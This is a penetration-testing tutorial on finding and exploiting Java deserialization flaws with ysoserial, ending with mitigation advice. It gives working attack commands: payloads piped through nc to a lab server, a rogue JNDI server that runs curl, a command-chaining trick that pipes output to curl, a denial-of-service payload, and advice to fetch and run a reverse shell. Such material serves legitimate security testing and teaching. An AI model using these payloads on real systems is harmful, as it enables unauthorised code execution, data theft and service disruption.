Testing and exploiting Java Deserialization in 2021
Since 2015 when java deserialization was a major threat, lots of patches and improvements has been introduced. How to approach testing for java serialization to achieve best results? How do you use ysoserial properly? Learn it from the below article.
There was not any new technique discovered, but I rather made a summary of current “state of art”. Moreover, I performed some reading of Ysoserial’s source code to see how each payload is meant to work, which also resulted in creating kind of guide to using Ysoserial. You can also find some practical tips I share based on my own experience with penetration testing Java applications.
As in 2021 the Java environments become more and more hardened — libraries are being patched, JEP 290 and similar patches are introduced, no new gadgets are being published, it is worth to summarize current boundaries of serialization exploitation. Is java deserialization still a threat? Or the patches completely killed it?
As the article is pretty long, I’ll start it with a TLDR, so you can look for anything that interests you within the post. Also, I’ve added some external references to interesting content on the subject of Java Deserialization.
- During whitebox analysis look for readObject() which is potential sink for deserialization vunlerabilities. Also, you might want to test the exemplary vulnerable TCP server. Don’t forget to add required dependencies to its classpath. For testing Ysoserial payloads, you might add the ysoserial.jar itself as a dependency, as described in README.
- Use Nicky Bloor’s Serialization dumper to inspect serialized objects to confirm what they are. Apart from deserialization flaws to be exploited with Ysoserial, it is possible that a logical information is being transported in the serialized stream (e.g. user=admin)
- Ysoserial has more usages than just getting instant RCE. For blind testing, use URLDNS or JRMPClient/Listener payloads. Apart from instant RCE, it’s worth noticing how to use payloads related to FileUpload or Object Lookup.
- Be prepared to face stack traces — they don’t always mean that you failed. See what to do, If you find errors like SerialUID Mismatch or ClassNotFoundException at the end of this article.
1. What is deserialization — quick review
Serialization (and a reverse process — deserialization) is simply a feature of Java (and many other languages) which allow objects to be converted to a special, binary form, in which they can be transported and stored. Later, they can be recreated (deserialized) in original form any another Java Virtual Machine (so the Java Environment is involved into serializing and deserializing data), regardless it’s just another process or completely different physical machine.
If you don’t understand the very basics of Java Serialization, I’d recommend reading some of these articles first:
Why is even Java Serialization interesting for security researchers? Basically, it’s nothing new that untrusted deserialization can lead to remote code execution. There’s a well known presentation named Marshalling Pickles that led to Java Deserialization Apocalypse in 2015/2016 together with tool Ysoserial which was released shortly afterwards. It allows for automatic exploitation of Java deserialization vulnerabilities. Ysoserial will be covered in-depth in this article later on.
Serialization regards java objects. Java is an object-oriented programming language (OOP), so you can expect that almost everything in Java is an object. Usually, we will refer to an object as to instance of a java class.
Note, that a class instance can in the same time contains multiple fields, and each of these fields might be an instance of another class. So the serialized object is a pack of java “prefabricates”, which are added some description about how to bring them back to original state.
At deserializing end (another application / process / machine / whatever calls deserialization function on the object) this object is recreated (deserialized).
The deserializing end basically have no idea what the object should look like after recreating. And basically this is what deserialization vulnerability is all about — when there’s no check what should arrive to the deserializing end, why shouldn’t we send something unexpected?
2. Root cause of deserialization vulnerability
In order to re-create an object from its deserialized state, Java provides special function (or rather a set of functions), which has to be used on a deserialized object in order to be able to deserialize it which means, create an instance of that object on deserializing end. We’ll consider just ObjectInputStream.readObject() not to dive to deeply, but just keep in mind that this is not the only deserialization sink existing.
readObject() alone is just responsible for creating (instantiating) the serialized object and not for checking what kind of object it is. Thus, if nobody takes extra care of security, then any object can be deserialized.
As said previously, serialized object can be a nested pack of other objects. What deserialization exploits are using, is nested objects which are manipulated in a way, that they are behave like a method which is executed upon instantiating an object. Such effect is possible when a legitimate serialized object is manipulated e.g. on a binary level or using Java Reflection API. As an effect, the object upon being serialized behaves like a jack in the box.
The process is described in details in Java documentation:
Reading an object is analogous to running the constructors of a new object. Memory is allocated for the object and initialized to zero (NULL). No-arg constructors are invoked for the non-serializable classes and then the fields of the serializable classes are restored from the stream starting with the serializable class closest to java.lang.object and finishing with the object’s most specific class.
If you are interested in more functions that deserialize objects check Java Docs:
When inspecting an application in a white-box approach, look for readObject() functions. They are potential sinks of deserialization vulnerability (of course, if you are able to deliver user-controlled data to them). Often software vendors build own wrappers for readObject, e.g. consider a function vendorDeserialize() being present in source code but using ois.readObject() under the hood.
As already said, the readObject() call alone is sufficient to introduce the vulnerability to a piece of software. For sake of testing deserialization issues, here’s a simple TCP Server that was already mentioned before, that just deserializes anything that is sent to its listening port. See the Github repo for instructions how to play with it.
If you want to run this example on your own, download and build it from Github linked above.
As you can see, after readObject(), the object has just been instantiated, which was sufficient to perform exploitation on the server. Even if someone calls a serie of checks after the object is “read”, it’s already too late.
3. Speaking and understanding serialization protocol
In order to be able to serialize and then de-serialize an object, some conditions have to be met:
- An object to be serialized has to implement Serializable interaface (so JVM treats it differently under the hood allowing for packing it if needed)
- All the classes to be deserialized have to be present on deserializing classpath. Serialization concerns state of an object, but the definition has to be already present on the deserializing side.
If you were able to perform static analysis on an application, then you can confirm existence of deserialization sinks via presence of readObject(). But in order to be able to test deserialization vulnerability, you have also to find a way to deliver the serialized data to that sink. Usually, easiest way to spot serialization being in use is to inspect application traffic.
Java serialized objects have a specific signature which easily allow to identify them, which is binary 0xaced0005. It translates to base64 rO0AB. Note, that a serialized java object might be wrapped into any kind of encryption or encoding, thus when dealing with Java application it is worth to dig deeply into any encoded data being sent. That involves e.g. TCP traffic, or HTTP channels like POST parameters, Cookies and Headers.
If there’s any data you suspect of being a serialized Java object, you can use tool named Serialization Dumper tool to inspect it
One of the fields is SerialUID which is an unique class version identifier. This is something that might cause your payloads to fail, and it’s described later on in “troubleshooting” section along with another issues.
4. Testing with Ysoserial
As mentioned earlier, Ysoserial is a tool for exploiting java deserialization vunlerabilities. It consists of modules named payloads. Each payload generates a serialized object which once instantiated, invokes some kind of action.
A serialized object might be made from classes, which have some fields (which are also classes) already set up and tweaked using java reflection or binary manipulation. This is exactly what ysoserial does. These prefabricated objects, which in turn create a bigger object that invokes some kind of operation upon instantation are called gadgets.
The classes that have some specific features making them usable as gadgets are rarely native java classes. They are often more sophisticated objects, which are parts of some commonly used libraries (so they are likely to be present on most classpaths, which in turn is a good choice to using them to craft serialized objects targeting deserialization vulns). These libraries are called gadget libraries.
So Ysoserial, apart from payloads, makes use of gadget libraries to generate serialized objects, which upon instantiation results in invoking some action. Now, I’ll shortly explain which payloads create which action.
What I’ve saw recently on various internet blog posts is suggestion to use Ysoserial in a “for” loop, iterating over payloads. This is not how you use this tool and you are losing some of its potential doing that.
Basically, if you look at source code in ysoserial’s payloads, you will find comments indicating proper usage of each payload module. I’ve posted a short summary of it below. Note, that existence of serialized objects in communication does not mean that application is vulnerable. This can be as well properly designed serialization (which checks type of data before instantiating anything) or a patched application. Proper testing approach should allow you to tell it — is it deserializing anything, but no gadgets are available, or is it a securely designed application.
4.1 FileUpload, Wicket1
These are similar to each other. Serialized object relies on DiskFileItem class, which results in creating a file on remote OS. If you look at source code of e.g. FileUpload1, you’ll find the usage code’s comments. If remote classpath contains FileUpload / Wicket dependencies and is vulnerable to insecure deserialization, you can use following command to generate ysoserial’s payload:
java -jar ysoserial.jar FileUpload1 “write;/tmp;CONTENTSOFTHEFILE”
This will make the remote JVM to save a randomly named file with content CONTENTSOFTHEFILE in /tmp directory.
4.2 RMI-related payloads
There are two ysoserial payloads dedicated to exploitation of RMI Registries. However, after JEP290 remote exploitation of RMI Registries is a lot more difficult.
These payloads were designed to be used together — JRMPListener opens a dummy RMI Registry and JRMPClient allowed for remote exploitation of it if the target JRE is not patched with JEP290.
Also, JRMPListener can be used to host a payload ona rogue RMI Registry to be deserialized, and JRMPClient can be used against the target to connect back to attacker’s registry and deserialize the payload. This is used in e.g. Weblogic CVE-2018–2628 https://www.exploit-db.com/exploits/44553. The listener can be opened using command
java -cp ysoserial.exploit.JRMPListener <port> <payload_type> <payload_arguments>
java -jar /root/Tools/ysoserial.jar JRMPClient 127.0.0.1:1099
java -jar ysoserial.jar JRMPListener 1199
This one makes the deserializing end open an empty RMI registry
4.3 Object Lookup payloads
Object Lookup is a Java feature related to Java Naming and Directory Interface. In short, it allows for retrieving (“looking up”) remote Objects from various sources. These sources can be LDAP directories, RMI Servers or HTTP Servers. Usually, this feature is abused against vulnerability class JNDI Injection, which you can read more about here and here.
Payloads that rely on this attack vector needs you to host a malicious object on your side, and the deserializing end will perform a lookup of the malicious object, which means, it will download and execute it. Due to hardening of modern Java there are some caveats which won’t be discussed here due to being too extensive. In short, in the past you were able just to host a compiled Java class to be executed. Now it has to meet some more requirements, which are described in aforementioned article about JNDI Injections.
During experiments, I was not able to get to work Hibernate2 and Myfaces2, however I was able to get C3P0 working while hosting the malicious Object using Artsploit — Rogue JNDI.
To use this payload, first we run a netcat listener and a vulnerable TCP server.
This payload (if C3P0 gadgets are present on classpath) can be used to craft both a SSRF and an RCE. For simple SSRF (Lookup attempt) use
java -jar ysoserial.jar C3P0 “http://127.0.0.1:9999/:SSRF" | nc -v 127.0.0.1 12345
For RCE, we’ll need to set up rogue-jndi and point the ysoserial payload to it.
java -jar ysoserial.jar C3P0 “http://127.0.0.1:8000/:xExportObject" | nc -v 127.0.0.1 12345
While on port 8000 there’s rogue-jndi listening
java -jar RogueJndi-1.1.jar -c “curl http://127.0.0.1:9999/rce"
Which results in executing the malicious object
4.4 URLDNS Payload
A very powerful payload in terms of blind testing. DNS Lookup is a feature of Java when handling serialized URL object crafted in a specific way. It’s powerful because that payload also does not require any additional libraries to work. Use it as
java -jar /root/Tools/ysoserial.jar URLDNS “http://12345.burpcollaborator.net”
This results in an DNS lookup. While it’s not much of an Impact, it’s a good way to confirm that insecure deserialization exist.
If you do not have Burp Pro, you can use DNSChef to receive the DNS interaction. Note, that this payload is also designed just to detect arbitrary serialization, the DNS resolution does not add any significant impact (the most significant I can think of is revealing an internal host IP)
4.5 Jython and Myfaces
I was not able to get them working during my tests. However, Jython payload is supposed to work in a similar manner as FileUpload, with a difference — it also runs the uploaded script.
Myfaces1 — It should rely on executing EL expression, however during experiments I was not able to get it working too.
4.6 RCE Payloads
All other payloads, listed below, are designed for direct Code Execution. Note, that on modern Java you will have trouble running CommonsCollections 1–4 included due to hardening of JDK classes. If you have access to stack traces this can be confirmed if an error “missing element entrySet” is found.
4.7 DoS payloads
Native JDK DoS PoC relies on a recursive HashSet. You can find the original one here, I just changed it a bit so it generates a serialized payload instead of deserializing itself instantly. You can download modified version of this payload here. The serialized payload, when sent to vulnerable TCP Server, causes resource consumption to spike. We generate the dos payload:
javac SerialDOS.java && java SerialDOScat dos.ser | nc -v 127.0.0.1 12345
4.8 Other public exploits & payloads
interesting Exploits and Ysoserial forks that contain additional payloads
There are numerous things that might go wrong when exploiting serialization flaws. For successful serialization and deserialization, there are following requirements:
- Objects to be serialized have to implement Serializable interface
- The data has to be serialized and transported — you need a reliable way of payload delivery (e.g. HTTP traffic)
- The object has to be deserialized (instantiated) on another end, which requires that:
- Data has to arrive in non-changed form, including proper encoding especially when going through multiple devices / proxies
- The remote classpath has to include all classes that are to be deserialized
- The SerialVersionUID has to match the value known on deserializing end
- There either should not be any process filters (e.g. insecure deserialization with ReadObject) or the data deserialized has to match filter rules
If anything of these requirements is not met, you are probably going to receive a long stack trace. Unless you do not work with Java on a regular manner, you might feel discouraged by the unclear stack traces appearing. Below you can find explanation for popular errors and how to solve them.
5.1 ClassNotFound Exception
This means that a class (its name will be listed in the stack trace) is not on the target classpath. This might mean that the target classpath is patched, e.g. even if there are vulnerable libraries on it, they might have the gadget classes cut off. However, if during a penetration test you are able to obtain information on which classes are on the classpath, you can try to enumerate them. A tool named GadgetProbe might be helpful in that case.
5.2 SerialUID Mismatch / InvalidClassException
SerialUID is an unique class identifier which helps JVM to ensure integrity of serialized object’s version. Quoting Java docs: “The serialization runtime associates with each serializable class a version number, called a serialVersionUID, which is used during deserialization to verify that the sender and receiver of a serialized object have loaded classes for that object that are compatible with respect to serialization. If the receiver has loaded a class for the object that has a different serialVersionUID than that of the corresponding sender’s class, then deserialization will result in an InvalidClassException. A serializable class can declare its own serialVersionUID explicitly by declaring a field named serialVersionUID that must be static, final, and of type long”
In short, SerialVersionUID mismatch might occur if you use different library version to construct your serialized payload (e.g. 1.2 instead of 1.3). In order to fix it, you can:
- try various versions of library which contains the faulty class
- use java debugger to fix the serialUID in runtime
A great article by RhinoSecurityLabs shows how to deal with such issue in real life scenario.
5.3 Filter status REJECTED
Message “filter status REJECTED” present in the stack trace means that application employs serialization filtering, which in turn means that it can be hardened. Serialization filters are one of recommended ways to deal with unsafe deserialization, and they restrict which types of data can be instantiated during deserialization and which cannot.
5.4 java.io.IOException: Cannot run program “xyz”
This means that your payload is working but the program to be executed was not found. This can be due to missing binary or OS mismatch (e.g. you try to run notepad.exe on Linux)
Also, there are two more popular issues not related to stack traces:
5.5 Shell commands not working
When constructing a command to be executed by ysoserial’s payload on Linux, you need to be aware that piping and output redirectors will not work. Also, if there are spaces in arguments to main commands arguments (like sh -c “python -c \”import pty…\””)
This is because the final RCE sink, Java’s Runetime.exec() function, is not executed by bash itself, so typical bash features won’t be available. There’s a detailed explanation by CodeWhiteSec if you want to understand, why. If you want to execute a chained command using ysoserial, use
java -jar /root/Tools/ysoserial.jar Groovy1 ‘sh -c $@|sh . echo [now you can chain commands and use spaces in arguments here]’
java -jar /root/Tools/ysoserial.jar Groovy1 ‘sh -c $@|sh . echo id | curl http://localhost:1234'
Of course, it’s not a must and if you have already achieved a single command execution, you can also do the same thing by executing several commands like download reverse shell with curl from your machine, then chmod +x the reverse shell and then execute it to connect back to you.
5.6 Anticipating Java version without any evidence
It is likely that Java version on target machine is up to date. Also, even if it’s not latest version, the JEP290 patch which targets serialization works also with older versions (at least JDK 1.7u21 or newer). But keep in mind, that many Java applications are often a large appliances that have many dependencies. There is high likelihood of not updating them by their owners as they are afraid of breaking them. If an application is a virtual appliance (shipped with underlying OS), then there is a likelihood that the Java version is still the same as when it was released.
First and most important: do not deserialize arbitrary data. If you are already doing it in your application, you can do the following
- Employ open source solutions like SerialKiller or Contrast-rO0
- Use built-in serialization filtering
It is sometimes difficult to prove that a serialization flaw poses security risk. There is limited number of gadget chains available publicly, and developing a custom gadget chain is a non-trivial task.
It is difficult to convince anybody, that the fact, that an application does an arbitrary DNS resolution should be classified as high impact. So basically, if you do not have a working gadget chain, unfortunately the deserialization flaw you found is a classic example of “low likelihood of high impact”.
Anyway, any insecure deserialization detected should be patched — even if there seems to be no impact, keep in mind, that appearance of new gadget chain can instantly turn it into an RCE.